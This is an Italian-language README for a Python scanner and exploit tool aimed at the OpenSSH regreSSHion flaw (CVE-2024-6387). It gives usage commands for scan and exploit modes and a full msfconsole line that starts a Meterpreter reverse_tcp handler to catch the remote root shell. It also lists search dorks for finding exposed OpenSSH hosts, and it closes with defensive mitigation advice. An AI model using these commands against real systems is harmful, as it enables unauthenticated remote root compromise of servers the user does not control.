
Vulnerabilità di esecuzione di codice remoto non autenticata nel server OpenSSH (CVE-2024-6387)
CVE-2024-6387.py - PoCL'exploit funziona SOLO su server OpenSSH a 32 bit. Questo perché il POC utilizza puntatori a 32 bit! È anche noto che alcune versioni sono già state corrette e non tutti i server sono vulnerabili. Testato su: Kali Linux, ParrotSec, Ubuntu 22.04
Vulnerabilità di esecuzione di codice remoto non autenticata nel server OpenSSH
CVE-2024-6387.py è uno strumento leggero ed efficiente progettato per identificare server che eseguono versioni vulnerabili di OpenSSH, mirando specificamente alla vulnerabilità regreSSHion scoperta di recente (CVE-2024-6387). Questo script facilita la scansione rapida di più indirizzi IP, nomi di dominio e intervalli di rete CIDR per rilevare potenziali vulnerabilità e garantire che la tua infrastruttura sia sicura.
È stata trovata una race condition nel gestore dei segnali del server OpenSSH (sshd), quando un client non si autentica entro i secondi di LoginGraceTime (120 di default, 600 nelle vecchie versioni di OpenSSH), il gestore SIGALRM di sshd viene chiamato in modo asincrono. Tuttavia, questo gestore dei segnali chiama varie funzioni che non sono async-signal-safe, ad esempio syslog().
Puoi trovare i dettagli tecnici qui.
La falla, scoperta dai ricercatori di Qualys nel maggio 2024 e identificata con il codice CVE-2024-6387, è dovuta a una race condition nel gestore dei segnali di sshd che consente a un attaccante remoto non autenticato di eseguire codice arbitrario come root.
"Se un client non si autentica entro i secondi di LoginGraceTime (120 di default), il gestore SIGALRM di sshd viene chiamato in modo asincrono e chiama varie funzioni che non sono async-signal-safe,"
"Un attaccante remoto non autenticato può sfruttare questa falla per eseguire codice arbitrario con privilegi di root."
Requisito: python3 più recente
### Command Line Arguments
mode: Selects the operation mode. Choices are scan or exploit.
-T, --targets: IP addresses, domain names, file paths containing IP addresses, or CIDR network ranges.
-f, --outputfile: File to save results to (e.g., result.json).
-g, --gracetimecheck: Time in seconds to wait after identifying the version to check for LoginGraceTime mitigation (default: 120 seconds).
-n, --nic: Network NIC (default: 'eth0').
-o, --output: Output format for results (choices: 'csv', 'txt', 'json').
-p, --port: Port number to check or exploit (default: 22).
-s, --speed: Number of threads to increase race condition chances (default: 10).
-t, --timeout: Connection timeout in seconds (default: 1 second).
-H, --resolve-hostnames: Resolve Hostnames
python3 CVE-2024-6387.py scan -T example.com -p 22
python3 CVE-2024-6387.py exploit -T example.com -p 22 -n eth0
Tutto ciò che devi fare è eseguire prima il comando sottostante (cambia l'handler {yourip}) e poi eseguire l'exploit con il comando sopra
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST {yourip}; set LPORT 9999; exploit -j"
Lo strumento fornisce un output colorato sulla console per una migliore leggibilità:
/product.name="OpenSSH"app="OpenSSH"product:"OpenSSH"(openssh) and labels=remote-accessPatch Management: Applicare tempestivamente le patch disponibili per OpenSSH è fondamentale per chiudere la finestra di vulnerabilità. L'aggiornamento tempestivo garantisce che gli exploit noti non possano essere sfruttati contro i tuoi sistemi, riducendo così la finestra di opportunità per gli attaccanti.
Controllo Accesso Avanzato: Limitare l'accesso SSH tramite controlli basati sulla rete aggiunge un ulteriore livello di difesa. Questo approccio minimizza l'esposizione a potenziali attaccanti limitando le connessioni SSH solo a reti o indirizzi IP autorizzati. L'implementazione di strumenti come regole firewall o l'uso di VPN per accessi sicuri può far rispettare efficacemente queste restrizioni.
Segmentazione della Rete: Dividere la rete in segmenti aiuta a contenere l'impatto di una potenziale violazione. Segmentando i sistemi critici e i dati sensibili dalle parti meno critiche della rete, riduci il rischio di movimento laterale da parte degli attaccanti. Questa segmentazione può essere integrata con controlli di accesso rigorosi e monitoraggio per rilevare e rispondere a qualsiasi tentativo non autorizzato di violare questi segmenti.
Sistemi di Rilevamento delle Intrusioni (IDS): L'implementazione di sistemi IDS o di prevenzione delle intrusioni (IPS) consente il monitoraggio in tempo reale del traffico di rete e dei log di sistema. Questi sistemi possono rilevare attività sospette e tentativi di sfruttamento potenziali associati alla vulnerabilità regreSSHion. Gli avvisi attivati da tali sistemi consentono un'indagine e una mitigazione tempestive prima che si verifichino danni significativi.
Monitoraggio dei Tentativi di Sfruttamento: Il monitoraggio continuo dei log di rete e di sistema è fondamentale. Cerca eventuali schemi o attività anomali che potrebbero indicare un tentativo di sfruttare la vulnerabilità OpenSSH. Questo approccio proattivo aiuta a identificare e rispondere alle minacce prima che possano causare danni.